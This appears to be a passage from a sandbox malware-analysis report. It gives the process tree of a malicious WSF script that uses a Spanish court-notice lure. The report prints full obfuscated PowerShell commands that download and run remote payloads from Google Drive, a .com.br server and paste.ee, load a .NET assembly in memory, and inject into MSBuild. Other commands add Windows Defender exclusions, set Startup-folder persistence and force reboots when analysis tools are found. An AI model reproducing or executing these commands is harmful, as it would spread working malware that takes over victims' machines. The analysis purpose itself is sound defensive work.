'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      PID:6108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:6176
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6676
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6688
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\tkguu.ps1"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        
        PID:1524
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5956
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
        6⤵
        
        PID:2460

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2832

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3728

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
